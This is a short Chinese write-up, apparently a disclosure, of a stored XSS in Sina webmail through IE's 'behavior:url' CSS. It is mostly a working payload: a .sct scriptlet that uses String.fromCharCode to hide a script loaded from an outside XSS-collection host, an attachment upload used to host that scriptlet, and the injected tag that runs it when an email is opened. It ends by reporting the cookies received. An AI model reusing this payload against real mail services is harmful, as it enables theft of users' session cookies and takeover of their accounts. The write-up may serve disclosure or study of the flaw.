<x style="behavior:url(test.sct)"></x>

发现没有被过滤。


1.jpg


新建一个sct文件,内容为:


<SCRIPTLET>
<IMPLEMENTS Type="Behavior"></IMPLEMENTS>
<SCRIPT Language="javascript">
alert(1);
(function(){window.s=document.createElement(String.fromCharCode(115,99,114,105,112,116));window.s.src=String.fromCharCode(
104,116,116,112,58,47,47,120,115,115,46,116,119,47,49,48,53,50);document.body.appendChild(window.s)})();
</SCRIPT>
</SCRIPTLET>

然后上传到附件夹,下载链接为:


?file_name=test.sct&file_size=367.5&mid=02BB29DB41F5347D476D455DC6C699DEE600000000000002&content_type=application/octet-stream&attinfo=4-1533-2023-base64&fid=out

写入代码


<x style="behavior:url(base_download_att.php?file_name=test.sct&file_size=367.5&mid=02BB29DB41F5347D476D455DC6C699DEE600000000000002&content_type=application/octet-stream&attinfo=4-1533-2023-base64&fid=out)"></x>

打开邮件,可以看到,在IE下,XSS代码被成功执行。


新浪邮箱存储型XSS


接收到的cookie


 

新浪邮箱存储型XSS